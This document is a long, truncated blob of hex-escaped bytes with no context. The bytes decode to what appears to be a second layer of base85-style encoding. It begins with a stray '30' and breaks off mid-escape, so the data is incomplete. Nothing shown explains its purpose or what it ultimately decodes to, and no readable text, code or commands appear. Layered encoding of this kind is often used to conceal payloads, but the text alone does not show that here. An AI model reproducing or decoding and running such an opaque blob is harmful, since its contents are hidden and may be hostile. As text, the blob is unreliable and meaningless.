30\x57\x41\x54\x63\x3e\x49\x45\x46\x64\x26\x44\x45\x46\x64\x75\x7e\x41\x54\x63\x26\x48\x45\x46\x64\x76\x37\x48\x21\x4c\x37\x43\x48\x21\x4c\x37\x48\x46\x29\x53\x63\x34\x46\x29\x53\x63\x34\x47\x42\x47\x53\x35\x48\x21\x4c\x37\x41\x49\x58\x45\x6d\x4a\x46\x2a\x72\x39\x59\x41\x54\x25\x72\x3e\x47\x26\x77\x39\x46\x49\x56\x3e\x50\x43\x49\x35\x3b\x64\x49\x47\x42\x50\x59\x36\x47\x42\x37\x59\x4b\x41\x54\x6c\x23\x49\x45\x46\x64\x79\x38\x45\x46\x64\x76\x42\x48\x21\x4c\x37\x41\x47\x63\x71\x68\x37\x46\x29\x25\x59\x4d\x41\x54\x6c\x79\x47\x45\x46\x64\x3b\x34\x41\x54\x63\x2a\x4d\x45\x46\x64\x5e\x47\x45\x46\x64\x7b\x43\x45\x46\x64\x79\x37\x46\x29\x53\x63\x34\x47\x26\x6e\x33\x45\x46\x2a\x59\x7c\x57\x41\x54\x6c\x2a\x47\x45\x46\x64\x76\x36\x48\x59\x5e\x7d\x46\x46\x29\x53\x63\x35\x48\x38\x43\x74\x38\x47\x42\x47\x7a\x53\x41\x54\x76\x32\x45\x41\x54\x75\x5e\x42\x41\x54\x7e\x48\x47\x41\x54\x63\x2a\x47\x45\x46\x64\x79\x39\x47\x62\x7c\x75\x41\x47\x62\x7c\x75\x38\x47\x62\x7c\x75\x37\x46\x66\x6c\x41\x33\x47\x42\x37\x68\x4e\x41\x54\x6c\x3b\x41\x41\x55\x38\x51\x49\x41\x54\x63\x23\x38\x41\x54\x25\x7e\x43\x41\x55\x37\x2d\x5e\x46\x2a\x21\x49\x61\x41\x54\x63\x3e\x47\x45\x46\x64\x5e\x47\x45\x46\x64\x7b\x46\x45\x46\x64\x26\x42\x45\x46\x64\x76\x39\x46\x66\x31\x54\x34\x47\x41\x74\x6c\x35\x47\x63\x2b\x74\x39\x46\x2a\x47\x24\x53\x41\x55\x47\x40\x5f\x46\x2a\x37\x6e\x4f\x41\x54\x63\x3b\x4f\x45\x46\x64\x76\x35\x47\x41\x74\x6c\x36\x46\x2a\x59\x6e\x39\x48\x23\x52\x49\x46\x47\x42\x50\x71\x4f\x41\x54\x75\x23\x36\x41\x54\x63\x6d\x39\x45\x46\x64\x76\x39\x49\x34\x6d\x47\x42\x48\x21\x26\x3c\x41\x47\x42\x59\x24\x52\x41\x54\x63\x3e\x49\x45\x46\x64\x76\x43\x49\x56\x3e\x50\x43\x46\x66\x6c\x41\x33\x46\x2a\x47\x3f\x57\x41\x54\x6c\x2a\x47\x45\x46\x64\x76\x34\x46\x66\x31\x54\x33\x46\x29\x7d\x50\x35\x46\x29\x7d\x65\x4d\x41\x54\x63\x76\x47\x45\x46\x64\x79\x36\x49\x34\x6d\x47\x42\x46\x66\x75\x47\x34\x49\x35\x61\x46\x45\x46\x2a\x5a\x30\x58\x41\x54\x6c\x23\x4b\x45\x46\x64\x75\x7e\x41\x55\x38\x4b\x47\x41\x54\x63\x5a\x3b\x46\x2a\x71\x7a\x42\x47\x63\x5f\x7a\x41\x47\x42\x47\x77\x52\x41\x54\x6c\x79\x46\x45\x46\x64\x3e\x39\x45\x46\x64\x3e\x41\x45\x46\x64\x7b\x37\x41\x54\x63\x3b\x4e\x45\x46\x64\x3e\x39\x45\x46\x64\x79\x34\x47\x25\x4f\x25\x37\x47\x63\x2b\x74\x39\x47\x26\x43\x24\x41\x47\x42\x37\x6e\x50\x41\x54\x6c\x79\x45\x45\x46\x64\x76\x34\x47\x25\x4f\x25\x38\x46\x2a\x59\x6e\x39\x48\x23\x52\x49\x46\x46\x2a\x47\x77\x51\x41\x55\x38\x42\x44\x41\x54\x63\x6d\x45\x45\x46\x64\x76\x36\x46\x29\x53\x63\x35\x47\x63\x5f\x7a\x41\x47\x42\x71\x3c\x53\x41\x54\x63\x3e\x49\x45\x46\x64\x76\x43\x49\x56\x3e\x50\x48\x47\x41\x74\x6c\x35\x47\x26\x55\x3f\x43\x47\x42\x71\x3c\x53\x41\x54\x63\x70\x38\x45\x46\x64\x76\x34\x47\x41\x74\x6c\x38\x48\x21\x4c\x37\x41\x47\x64\x33\x28\x42\x47\x42\x50\x2b\x55\x41\x54\x3d\x7b\x41\x41\x55\x48\x35\x41\x41\x54\x6c\x79\x43\x45\x46\x64\x76\x38\x48\x59\x5e\x7d\x42\x48\x21\x4c\x37\x48\x46\x29\x53\x63\x42\x46\x66\x31\x54\x33\x47\x42\x71\x71\x39\x48\x21\x4c\x37\x41\x49\x58\x45\x6d\x4a\x46\x2a\x72\x36\x58\x41\x55\x48\x48\x45\x41\x55\x51\x4e\x46\x41\x54\x25\x7b\x42\x41\x54\x63\x26\x4a\x45\x46\x64\x79\x36\x45\x46\x64\x76\x37\x47\x62\x7c\x75\x36\x47\x25\x7a\x65\x36\x48\x39\x30\x49\x47\x46\x2a\x37\x7a\x53\x41\x54\x6c\x23\x42\x45\x46\x64\x3b\x46\x45\x46\x64\x79\x39\x47\x41\x74\x6c\x43\x48\x59\x5e\x7d\x39\x47\x25\x7a\x65\x36\x46\x29\x3d\x68\x4f\x41\x54\x7e\x42\x45\x41\x54\x6c\x79\x46\x45\x46\x64\x79\x39\x47\x41\x74\x6c\x35\x47\x63\x68\x62\x36\x47\x42\x50\x2b\x55\x41\x54\x6c\x76\x47\x45\x46\x64\x7b\x4b\x45\x46\x64\x79\x39\x46\x29\x53\x63\x35\x46\x2a\x68\x74\x41\x46\x29\x3d\x6e\x51\x41\x54\x26\x32\x44\x41\x54\x76\x32\x45\x41\x54\x63\x76\x47\x45\x46\x64\x79\x36\x49\x34\x6d\x47\x46\x47\x25\x4f\x25\x45\x48\x59\x5e\x7d\x41\x46\x67\x47\x6b\x39\x47\x42\x59\x5f\x57\x41\x54\x63\x5a\x3b\x47\x42\x68\x6b\x38\x47\x25\x4f\x25\x37\x49\x34\x6d\x47\x44\x48\x37\x70\x3d\x39\x47\x42\x47\x53\x35\x47\x42\x59\x3c\x55\x41\x54\x3e\x45\x47\x41\x54\x63\x73\x42\x45\x46\x64\x26\x46\x45\x46\x64\x79\x38\x46\x29\x53\x63\x34\x46\x67\x47\x6b\x39\x46\x2a\x59\x7a\x50\x41\x54\x63\x26\x46\x45\x46\x64\x26\x46\x45\x46\x64\x79\x34\x48\x59\x5e\x7d\x39\x47\x63\x71\x68\x37\x46\x29\x25\x59\x4d\x41\x54\x6c\x23\x42\x45\x46\x64\x2a\x33\x41\x54\x63\x2a\x4d\x45\x46\x64\x5e\x47\x45\x46\x64\x7b\x43\x45\x46\x64\x79\x37\x46\x66\x31\x54\x33\x47\x26\x6e\x33\x45\x46\x2a\x59\x7c\x57\x41\x54\x63\x2a\x48\x45\x46\x64\x79\x36\x46\x66\x31\x54\x33\x46\x2a\x47\x62\x37\x46\x2a\x37\x7a\x53\x41\x54\x6c\x2a\x47\x45\x46\x64\x76\x34\x46\x66\x31\x54\x35\x49\x56\x3e\x50\x46\x47\x62\x7c\x75\x36\x47\x64\x33\x28\x42\x47\x42\x50\x2b\x55\x41\x54\x3d\x7b\x41\x41\x55\x51\x4e\x46\x41\x54\x6c\x73\x39\x45\x46\x64\x79\x34\x47\x62\x7c\x75\x37\x49\x56\x3e\x50\x49\x47\x41\x74\x6c\x35\x46\x29\x25\x44\x33\x48\x38\x64\x3c\x42\x46\x29\x25\x68\x50\x41\x54\x63\x76\x46\x45\x46\x64\x76\x36\x47\x41\x74\x6c\x37\x46\x29\x53\x63\x43\x49\x56\x3e\x50\x47\x48\x37\x70\x3d\x38\x48\x38\x4c\x7a\x39\x49\x57\x3b\x55\x47\x46\x2a\x21\x46\x5a\x41\x54\x6c\x23\x46\x45\x46\x64\x26\x46\x45\x46\x64\x79\x34\x49\x34\x6d\x47\x43\x47\x63\x7a\x6e\x38\x48\x61\x39\x46\x46\x47\x42\x71\x2b\x52\x41\x54\x25\x72\x3e\x46\x2a\x47\x6e\x4e\x41\x55\x51\x63\x4b\x41\x54\x63\x6d\x39\x45\x46\x64\x76\x39\x49\x34\x6d\x47\x43\x47\x25\x2b\x6b\x37\x46\x2a\x72\x39\x59\x41\x54\x63\x3e\x47\x45\x46\x64\x79\x36\x48\x21\x4c\x37\x41\x47\x42\x7a\x77\x41\x46\x2a\x50\x77\x50\x41\x54\x63\x79\x4a\x45\x46\x64\x76\x33\x48\x21\x4c\x37\x49\x46\x29\x53\x63\x39\x49\x34\x6d\x47\x42\x48\x21\x3e\x5f\x42\x46\x2a\x59\x3c\x54\x41\x54\x63\x6d\x37\x45\x46\x64\x2a\x47\x45\x46\x64\x79\x37\x48\x21\x4c\x37\x41\x47\x63\x68\x62\x36\x48\x5a\x3f\x33\x44\x49\x58\x35\x67\x49\x46\x29\x3d\x56\x4b\x41\x54\x3d\x7e\x42\x41\x54\x7e\x32\x42\x41\x54\x63\x76\x47\x45\x46\x64\x76\x36\x47\x41\x74\x6c\x37\x46\x29\x53\x63\x38\x46\x66\x31\x54\x37\x47\x25\x4f\x25\x37\x48\x38\x4c\x7a\x39\x49\x57\x3b\x55\x47\x46\x2a\x50\x24\x52\x41\x54\x63\x3b\x4a\x45\x46\x64\x5e\x36\x41\x54\x63\x76\x43\x45\x46\x64\x76\x42\x49\x34\x6d\x47\x45\x48\x21\x4c\x37\x42\x46\x2a\x59\x6e\x39\x48\x23\x52\x49\x46\x47\x42\x50\x74\x50\x41\x55\x38\x48\x46\x41\x54\x63\x6d\x39\x45\x46\x64\x76\x39\x49\x34\x6d\x47\x43\x47\x26\x6e\x33\x45\x46\x2a\x72\x43\x5a\x41\x54\x63\x3e\x49\x45\x46\x64\x76\x43\x49\x56\x3e\x50\x43\x46\x66\x63\x34\x32\x46\x2a\x21\x43\x59\x41\x54\x63\x79\x44\x45\x46\x64\x3e\x44\x45\x46\x64\x76\x34\x46\x66\x31\x54\x36\x46\x66\x31\x54\x34\x47\x42\x5f\x2b\x43\x46\x2a\x21\x30\x55\x41\x54\x26\x32\x44\x41\x55\x51\x4e\x46\x41\x54\x63\x26\x45\x45\x46\x64\x79\x37\x49\x56\x3e\x50\x43\x45\x46\x64\x76\x39\x45\x46\x64\x5e\x47\x45\x46\x64\x76\x42\x45\x46\x64\x23\x41\x45\x46\x64\x79\x36\x46\x29\x53\x63\x34\x49\x57\x52\x30\x42\x47\x63\x59\x56\x35\x49\x57\x23\x4f\x46\x47\x26\x4c\x2b\x42\x46\x2a\x59\x5f\x56\x41\x54\x7e\x48\x47\x41\x54\x6c\x76\x45\x45\x46\x64\x79\x37\x47\x41\x74\x6c\x35\x46\x67\x59\x77\x42\x46\x2a\x59\x7a\x50\x41\x54\x63\x26\x44\x45\x46\x64\x76\x35\x47\x62\x7c\x75\x36\x49\x35\x38\x7c\x42\x46\x29\x25\x62\x4e\x41\x54\x63\x23\x43\x45\x46\x64\x3e\x47\x45\x46\x64\x5e\x49\x45\x46\x64\x76\x37\x46\x66\x31\x54\x33\x48\x23\x52\x49\x46\x46\x2a\x7a\x5f\x53\x41\x54\x63\x2a\x48\x45\x46\x64\x79\x36\x48\x21\x4c\x37\x41\x47\x42\x7a\x77\x41\x46\x2a\x21\x46\x5a\x41\x54\x63\x3e\x49\x45\x46\x64\x3e\x44\x45\x46\x64\x76\x34\x46\x66\x31\x54\x35\x47\x62\x7c\x75\x36\x48\x23\x6a\x55\x48\x46\x2a\x21\x30\x55\x41\x54\x26\x32\x44\x41\x55\x48\x51\x48\x41\x54\x63\x26\x45\x45\x46\x64\x79\x37\x49\x56\x3e\x50\x43\x45\x46\x64\x3e\x46\x45\x46\x64\x3b\x34\x41\x54\x63\x3b\x42\x41\x54\x75\x3e\x41\x41\x54\x63\x76\x45\x45\x46\x64\x76\x42\x48\x21\x4c\x37\x45\x49\x56\x3e\x50\x43\x47\x42\x50\x59\x36\x47\x26\x6e\x33\x45\x47\x42\x68\x5f\x56\x41\x54\x63\x23\x38\x41\x54\x63\x26\x44\x45\x46\x64\x76\x39\x47\x41\x74\x6c\x39\x46\x66\x31\x54\x33\x48\x38\x28\x36\x45\x46\x2a\x68\x28\x51\x41\x54\x7e\x45\x46\x41\x54\x6c\x2a\x46\x45\x46\x64\x5e\x47\x45\x46\x64\x79\x35\x47\x25\x4f\x25\x37\x46\x2a\x47\x62\x37\x48\x61\x30\x39\x45\x46\x2a\x71\x3c\x52\x41\x54\x63\x2a\x48\x45\x46\x64\x76\x36\x46\x29\x53\x63\x35\x47\x42\x5f\x2b\x43\x46\x2a\x47\x74\x50\x41\x54\x63\x6d\x37\x45\x46\x64\x79\x39\x46\x29\x53\x63\x35\x46\x2a\x68\x74\x41\x47\x64\x56\x30\x45\x47\x63\x2b\x74\x39\x48\x61\x49\x4c\x47\x46\x2a\x68\x3c\x53\x41\x54\x63\x2a\x48\x45\x46\x64\x7b\x49\x45\x46\x64\x26\x45\x45\x46\x64\x79\x34\x46\x29\x53\x63\x35\x46\x66\x25\x4d\x35\x47\x43\x33\x3f\x44\x47\x42\x71\x71\x39\x46\x29\x3d\x56\x4b\x41\x54\x3d\x7e\x42\x41\x55\x51\x5a\x4a\x41\x54\x6c\x76\x48\x45\x46\x64\x76\x36\x47\x41\x74\x6c\x37\x46\x29\x53\x63\x34\x46\x66\x75\x47\x34\x49\x58\x4e\x73\x4b\x46\x2a\x50\x7a\x51\x41\x55\x51\x51\x47\x41\x54\x63\x23\x4a\x45\x46\x64\x79\x37\x48\x21\x4c\x37\x48\x45\x46\x64\x76\x36\x47\x41\x74\x6c\x35\x49\x57\x52\x30\x42\x46\x29\x7d\x6e\x50\x41\x54\x6c\x76\x46\x45\x46\x64\x3e\x46\x45\x46\x64\x76\x37\x47\x62\x7c\x75\x38\x46\x29\x53\x63\x34\x46\x66\x75\x47\x34\x46\x2a\x5a\x30\x58\x41\x54\x63\x2a\x49\x45\x46\x64\x76\x42\x49\x34\x6d\x47\x42\x49\x57\x6a\x43\x44\x46\x2a\x21\x4c\x62\x41\x55\x51\x63\x4b\x41\x54\x63\x79\x49\x45\x46\x64\x79\x39\x47\x62\x7c\x75\x36\x46\x29\x25\x44\x33\x47\x64\x56\x30\x45\x47\x26\x4c\x2b\x42\x46\x2a\x37\x7a\x53\x41\x54\x6c\x79\x49\x45\x46\x64\x76\x34\x46\x66\x31\x54\x38\x45\x46\x64\x79\x34\x46\x29\x53\x63\x35\x46\x66\x25\x4d\x35\x47\x43\x33\x3f\x44\x48\x23\x61\x4f\x47\x46\x29\x3d\x56\x4b\x41\x54\x3d\x7e\x42\x41\x54\x3e\x38\x45\x41\x54\x63\x76\x48\x45\x46\x64\x76\x41\x46\x66\x31\x54\x37\x49\x56\x3e\x50\x43\x47\x42\x50\x59\x36\x47\x26\x77\x39\x46\x47\x42\x71\x3c\x53\x41\x54\x63\x73\x43\x45\x46\x64\x76\x36\x47\x41\x74\x6c\x35\x49\x35\x23\x58\x48\x48\x38\x33\x6e\x37\x46\x29\x7d\x7a\x54\x41\x54\x63\x76\x43\x45\x46\x64\x76\x33\x47\x62\x7c\x75\x37\x47\x63\x68\x62\x36\x46\x29\x53\x63\x34\x48\x23\x6a\x55\x48\x49\x35\x73\x52\x47\x49\x35\x7b\x6a\x4a\x46\x2a\x71\x5f\x54\x41\x54\x63\x79\x4a\x45\x46\x64\x76\x39\x48\x21\x4c\x37\x42\x48\x38\x55\x28\x41\x46\x2a\x37\x2b\x56\x41\x55\x51\x42\x42\x41\x54\x6c\x79\x44\x45\x46\x64\x76\x43\x48\x37\x70\x3d\x38\x46\x2a\x7a\x28\x43\x48\x5a\x55\x77\x38\x48\x38\x55\x28\x41\x47\x42\x50\x3c\x56\x41\x54\x63\x3e\x49\x45\x46\x64\x26\x44\x45\x46\x64\x26\x32\x41\x54\x6c\x26\x44\x45\x46\x64\x79\x37\x49\x56\x3e\x50\x45\x48\x21\x4c\x37\x49\x48\x59\x5e\x7d\x39\x46\x29\x25\x44\x33\x48\x38\x64\x3c\x42\x48\x38\x3f\x43\x46\x46\x2a\x37\x28\x55\x41\x54\x6c\x23\x49\x45\x46\x64\x2a\x47\x45\x46\x64\x76\x35\x47\x41\x74\x6c\x35\x46\x67\x50\x71\x41\x46\x2a\x59\x5f\x56\x41\x54\x63\x73\x43\x45\x46\x64\x76\x36\x47\x41\x74\x6c\x36\x47\x63\x5f\x7a\x41\x48\x38\x64\x3c\x42\x46\x2a\x59\x7a\x50\x41\x54\x63\x26\x44\x45\x46\x64\x26\x43\x45\x46\x64\x76\x42\x47\x62\x7c\x75\x36\x47\x62\x7c\x75\x37\x46\x66\x7d\x59\x37\x46\x29\x3d\x68\x4f\x41\x54\x7e\x42\x45\x41\x54\x63\x3b\x46\x45\x46\x64\x76\x41\x46\x66\x31\x54\x33\x47\x63\x68\x62\x36\x47\x42\x50\x2b\x55\x41\x54\x6c\x79\x41\x45\x46\x64\x7b\x4b\x45\x46\x64\x79\x37\x46\x29\x53\x63\x35\x48\x38\x55\x28\x41\x46\x29\x7d\x62\x4c\x41\x54\x75\x3e\x41\x41\x54\x7e\x48\x47\x41\x54\x63\x2a\x47\x45\x46\x64\x76\x41\x47\x41\x74\x6c\x44\x48\x59\x5e\x7d\x47\x46\x29\x53\x63\x35\x47\x25\x2b\x6b\x37\x47\x42\x68\x3f\x55\x41\x54\x75\x7b\x43\x41\x55\x48\x38\x42\x41\x55\x48\x51\x48\x41\x54\x63\x73\x44\x45\x46\x64\x3e\x35\x41\x54\x63\x3e\x4f\x45\x46\x64\x76\x42\x49\x34\x6d\x47\x49\x48\x37\x70\x3d\x47\x47\x25\x4f\x25\x41\x48\x37\x70\x3d\x38\x48\x5a\x3f\x33\x44\x47\x42\x59\x65\x37\x46\x2a\x47\x6e\x4e\x41\x54\x63\x76\x45\x45\x46\x64\x26\x41\x45\x46\x64\x76\x43\x48\x59\x5e\x7d\x39\x49\x35\x3b\x64\x49\x48\x61\x39\x46\x46\x47\x42\x71\x2b\x52\x41\x54\x3d\x78\x3f\x46\x2a\x47\x77\x51\x41\x54\x63\x70\x43\x45\x46\x64\x3b\x45\x45\x46\x64\x76\x41\x49\x56\x3e\x50\x43\x48\x21\x26\x3c\x41\x46\x2a\x37\x6b\x4e\x41\x54\x6c\x23\x4a\x45\x46\x64\x79\x36\x48\x21\x4c\x37\x41\x47\x42\x7a\x77\x41\x46\x2a\x21\x43\x59\x41\x54\x63\x79\x48\x45\x46\x64\x3e\x44\x45\x46\x64\x76\x34\x46\x66\x31\x54\x36\x46\x29\x53\x63\x34\x49\x35\x38\x7c\x42\x46\x2a\x21\x30\x55\x41\x54\x26\x32\x44\x41\x55\x51\x51\x47\x41\x54\x6c\x26\x47\x45\x46\x64\x79\x37\x49\x56\x3e\x50\x43\x45\x46\x64\x3e\x42\x45\x46\x64\x5e\x48\x45\x46\x64\x76\x42\x45\x46\x64\x23\x41\x45\x46\x64\x79\x35\x49\x34\x6d\x47\x43\x47\x42\x68\x6b\x38\x48\x21\x26\x3c\x41\x49\x57\x23\x4f\x46\x47\x26\x4c\x2b\x42\x46\x2a\x59\x7c\x57\x41\x54\x63\x26\x39\x41\x54\x63\x23\x43\x45\x46\x64\x79\x38\x48\x37\x70\x3d\x42\x46\x66\x31\x54\x33\x48\x5a\x55\x77\x38\x46\x2a\x59\x7a\x50\x41\x54\x75\x7e\x44\x41\x54\x63\x3b\x4f\x45\x46\x64\x7b\x47\x45\x46\x64\x76\x41\x49\x34\x6d\x47\x49\x48\x59\x5e\x7d\x48\x46\x29\x53\x63\x35\x47\x63\x7a\x6e\x38\x46\x2a\x47\x3c\x56\x41\x54\x63\x26\x4b\x45\x46\x64\x79\x39\x48\x37\x70\x3d\x38\x47\x63\x5f\x7a\x41\x49\x57\x52\x30\x42\x47\x42\x50\x74\x50\x41\x54\x63\x23\x45\x45\x46\x64\x26\x43\x45\x46\x64\x76\x34\x46\x29\x53\x63\x38\x47\x62\x7c\x75\x36\x48\x5a\x76\x3f\x42\x46\x2a\x21\x30\x55\x41\x54\x26\x32\x44\x41\x55\x51\x51\x47\x41\x54\x63\x26\x45\x45\x46\x64\x79\x38\x48\x37\x70\x3d\x45\x49\x56\x3e\x50\x43\x46\x2a\x68\x74\x41\x48\x23\x39\x36\x44\x46\x29\x3d\x77\x54\x41\x54\x63\x6d\x43\x45\x46\x64\x79\x36\x48\x59\x5e\x7d\x39\x48\x5a\x55\x77\x38\x49\x35\x73\x52\x47\x48\x38\x55\x28\x41\x47\x63\x71\x68\x37\x46\x2a\x50\x7a\x51\x41\x55\x51\x51\x47\x41\x54\x63\x23\x45\x45\x46\x64\x79\x37\x49\x34\x6d\x47\x49\x45\x46\x64\x76\x36\x47\x41\x74\x6c\x35\x49\x35\x73\x52\x47\x47\x64\x56\x30\x45\x47\x42\x47\x77\x52\x41\x55\x38\x48\x46\x41\x54\x6c\x79\x43\x45\x46\x64\x79\x41\x45\x46\x64\x5e\x41\x45\x46\x64\x76\x37\x46\x66\x31\x54\x33\x48\x23\x52\x49\x46\x46\x2a\x72\x36\x58\x41\x54\x63\x2a\x46\x45\x46\x64\x79\x36\x48\x21\x4c\x37\x41\x47\x42\x7a\x77\x41\x46\x2a\x50\x7c\x58\x41\x54\x63\x3e\x4b\x45\x46\x64\x7b\x45\x45\x46\x64\x3e\x44\x45\x46\x64\x7b\x48\x45\x46\x64\x79\x37\x48\x59\x5e\x7d\x39\x48\x5a\x26\x7c\x43\x47\x42\x68\x6b\x38\x48\x39\x30\x49\x47\x47\x42\x59\x3c\x55\x41\x54\x63\x76\x41\x45\x46\x64\x79\x44\x45\x46\x64\x7b\x49\x45\x46\x64\x76\x34\x46\x66\x31\x54\x37\x47\x25\x4f\x25\x37\x46\x67\x47\x6b\x39\x47\x42\x50\x6b\x4d\x41\x54\x63\x76\x43\x45\x46\x64\x23\x36\x45\x46\x64\x7b\x48\x45\x46\x64\x7b\x49\x45\x46\x64\x76\x38\x47\x41\x74\x6c\x44\x48\x37\x70\x3d\x38\x48\x39\x30\x49\x47\x47\x42\x59\x2b\x54\x41\x54\x63\x70\x48\x45\x46\x64\x76\x39\x46\x66\x31\x54\x33\x48\x5a\x55\x77\x38\x46\x29\x7d\x65\x4d\x41\x54\x63\x2a\x4b\x45\x46\x64\x76\x33\x47\x25\x4f\x25\x37\x48\x38\x33\x6e\x37\x47\x42\x50\x59\x36\x46\x29\x7d\x50\x35\x46\x2a\x47\x6e\x4e\x41\x54\x63\x2a\x4b\x45\x46\x64\x76\x43\x46\x66\x31\x54\x33\x48\x21\x3e\x5f\x42\x47\x42\x50\x28\x54\x41\x54\x63\x73\x46\x45\x46\x64\x76\x43\x48\x37\x70\x3d\x38\x47\x26\x6e\x33\x45\x48\x23\x39\x36\x44\x46\x29\x3d\x56\x4b\x41\x54\x63\x73\x45\x45\x46\x64\x79\x37\x48\x59\x5e\x7d\x41\x46\x2a\x71\x7a\x42\x46\x29\x3d\x4a\x34\x47\x63\x68\x62\x36\x46\x2a\x59\x3f\x55\x41\x54\x6c\x76\x44\x45\x46\x64\x23\x43\x45\x46\x64\x5e\x42\x45\x46\x64\x76\x33\x45\x46\x64\x76\x34\x49\x34\x6d\x47\x48\x45\x46\x64\x76\x43\x49\x34\x6d\x47\x43\x47\x42\x68\x6b\x38\x47\x41\x74\x6c\x35\x47\x42\x47\x53\x35\x49\x56\x3e\x50\x43\x49\x35\x3b\x64\x49\x48\x5a\x3f\x33\x44\x47\x42\x37\x65\x4d\x41\x54\x63\x76\x45\x45\x46\x64\x26\x41\x45\x46\x64\x76\x38\x49\x34\x6d\x47\x43\x47\x42\x71\x71\x39\x46\x29\x7d\x77\x53\x41\x54\x63\x2a\x4b\x45\x46\x64\x76\x33\x47\x25\x4f\x25\x37\x48\x38\x33\x6e\x37\x47\x42\x59\x65\x37\x47\x41\x74\x6c\x35\x47\x25\x7a\x65\x36\x46\x2a\x69\x30\x57\x41\x54\x6c\x23\x44\x45\x46\x64\x79\x39\x46\x66\x31\x54\x34\x47\x42\x2b\x24\x42\x46\x29\x7d\x74\x52\x41\x54\x63\x3e\x4a\x45\x46\x64\x76\x38\x46\x66\x31\x54\x33\x46\x29\x3d\x4a\x34\x48\x23\x39\x36\x44\x49\x57\x7b\x61\x48\x46\x2a\x71\x3f\x53\x41\x54\x6c\x2a\x49\x45\x46\x64\x76\x34\x45\x46\x64\x23\x36\x45\x46\x64\x79\x38\x48\x21\x4c\x37\x42\x46\x2a\x37\x56\x36\x47\x64\x43\x3c\x43\x49\x35\x38\x7c\x42\x46\x29\x25\x44\x33\x46\x29\x7d\x6e\x50\x41\x55\x37\x2d\x5e\x46\x2a\x21\x49\x61\x41\x54\x6c\x23\x44\x45\x46\x64\x5e\x47\x45\x46\x64\x76\x34\x46\x66\x31\x54\x42\x45\x46\x64\x76\x42\x49\x34\x6d\x47\x43\x47\x62\x7c\x75\x37\x46\x66\x25\x4d\x35\x47\x42\x68\x7c\x57\x41\x54\x63\x70\x46\x45\x46\x64\x76\x41\x48\x59\x5e\x7d\x39\x47\x63\x71\x68\x37\x46\x29\x25\x59\x4d\x41\x54\x6c\x79\x46\x45\x46\x64\x2a\x33\x41\x54\x6c\x76\x41\x45\x46\x64\x76\x34\x47\x25\x4f\x25\x43\x48\x59\x5e\x7d\x39\x49\x35\x38\x7c\x42\x46\x2a\x5a\x33\x59\x41\x54\x63\x76\x42\x45\x46\x64\x79\x36\x49\x34\x6d\x47\x43\x47\x42\x37\x4d\x34\x48\x5a\x76\x3f\x42\x46\x2a\x47\x74\x50\x41\x54\x6c\x23\x4b\x45\x46\x64\x3e\x44\x45\x46\x64\x76\x34\x46\x66\x31\x54\x33\x47\x42\x47\x53\x35\x46\x2a\x71\x7c\x55\x41\x54\x63\x3e\x49\x45\x46\x64\x26\x44\x45\x46\x64\x5e\x48\x45\x46\x64\x79\x38\x47\x62\x7c\x75\x37\x47\x64\x56\x30\x45\x46\x29\x53\x63\x41\x47\x25\x4f\x25\x37\x46\x29\x53\x63\x43\x49\x34\x6d\x47\x48\x45\x46\x64\x76\x43\x49\x34\x6d\x47\x43\x47\x42\x71\x71\x39\x47\x62\x7c\x75\x45\x47\x25\x4f\x25\x41\x48\x37\x70\x3d\x38\x48\x61\x39\x46\x46\x48\x61\x30\x39\x45\x47\x42\x37\x65\x4d\x41\x54\x63\x76\x45\x45\x46\x64\x26\x41\x45\x46\x64\x79\x34\x47\x25\x4f\x25\x38\x47\x64\x43\x3c\x43\x48\x61\x39\x46\x46\x47\x42\x71\x2b\x52\x41\x55\x48\x35\x41\x41\x54\x6c\x76\x47\x45\x46\x64\x76\x34\x47\x25\x4f\x25\x43\x48\x59\x5e\x7d\x41\x47\x42\x68\x6b\x38\x47\x42\x68\x7c\x57\x41\x54\x63\x76\x42\x45\x46\x64\x79\x36\x49\x34\x6d\x47\x43\x46\x2a\x7a\x28\x43\x46\x29\x25\x50\x4a\x41\x54\x6c\x2a\x45\x45\x46\x64\x79\x35\x48\x21\x4c\x37\x44\x48\x59\x5e\x7d\x39\x46\x2a\x47\x62\x37\x48\x61\x49\x4c\x47\x46\x2a\x68\x3c\x53\x41\x54\x63\x2a\x47\x45\x46\x64\x2a\x37\x45\x46\x64\x26\x37\x45\x46\x64\x79\x34\x46\x29\x53\x63\x35\x46\x66\x25\x4d\x35\x47\x63\x68\x62\x36\x47\x42\x71\x71\x39\x46\x29\x3d\x56\x4b\x41\x54\x3d\x7e\x42\x41\x55\x51\x63\x4b\x41\x54\x63\x76\x48\x45\x46\x64\x76\x36\x47\x41\x74\x6c\x37\x46\x29\x53\x63\x38\x49\x34\x6d\x47\x46\x48\x37\x70\x3d\x38\x47\x63\x5f\x7a\x41\x47\x42\x7a\x77\x41\x46\x2a\x59\x7a\x50\x41\x54\x63\x76\x45\x45\x46\x64\x5e\x36\x41\x54\x63\x76\x43\x45\x46\x64\x79\x36\x48\x37\x70\x3d\x38\x47\x42\x68\x6b\x38\x47\x42\x47\x77\x52\x41\x55\x38\x48\x46\x41\x54\x63\x79\x45\x45\x46\x64\x3e\x45\x45\x46\x64\x76\x33\x47\x41\x74\x6c\x35\x48\x61\x49\x4c\x47\x47\x42\x68\x77\x4f\x41\x54\x63\x3b\x4e\x45\x46\x64\x76\x43\x47\x41\x74\x6c\x35\x49\x58\x4e\x73\x4b\x46\x29\x25\x50\x4a\x41\x54\x63\x79\x47\x45\x46\x64\x79\x39\x47\x62\x7c\x75\x36\x46\x29\x25\x44\x33\x46\x29\x3d\x62\x4d\x41\x54\x63\x73\x42\x45\x46\x64\x76\x36\x48\x59\x5e\x7d\x41\x47\x42\x5f\x2b\x43\x48\x38\x4c\x7a\x39\x49\x34\x7e\x3f\x41\x47\x42\x37\x62\x4c\x41\x54\x6c\x73\x42\x45\x46\x64\x79\x43\x45\x46\x64\x79\x42\x45\x46\x64\x76\x34\x46\x66\x31\x54\x37\x47\x25\x4f\x25\x46\x49\x34\x6d\x47\x43\x47\x42\x37\x4d\x34\x47\x42\x68\x5f\x56\x41\x54\x3e\x45\x47\x41\x54\x63\x73\x42\x45\x46\x64\x2a\x42\x45\x46\x64\x79\x38\x48\x21\x4c\x37\x41\x47\x42\x59\x65\x37\x46\x2a\x37\x6e\x4f\x41\x54\x63\x3b\x4e\x45\x46\x64\x26\x45\x45\x46\x64\x76\x39\x48\x37\x70\x3d\x38\x48\x23\x30\x30\x43\x47\x63\x5f\x7a\x41\x47\x42\x68\x3c\x54\x41\x54\x63\x6d\x42\x45\x46\x64\x76\x38\x46\x66\x31\x54\x39\x48\x59\x5e\x7d\x39\x46\x66\x31\x54\x33\x47\x25\x7a\x65\x36\x46\x2a\x69\x30\x57\x41\x54\x6c\x23\x42\x45\x46\x64\x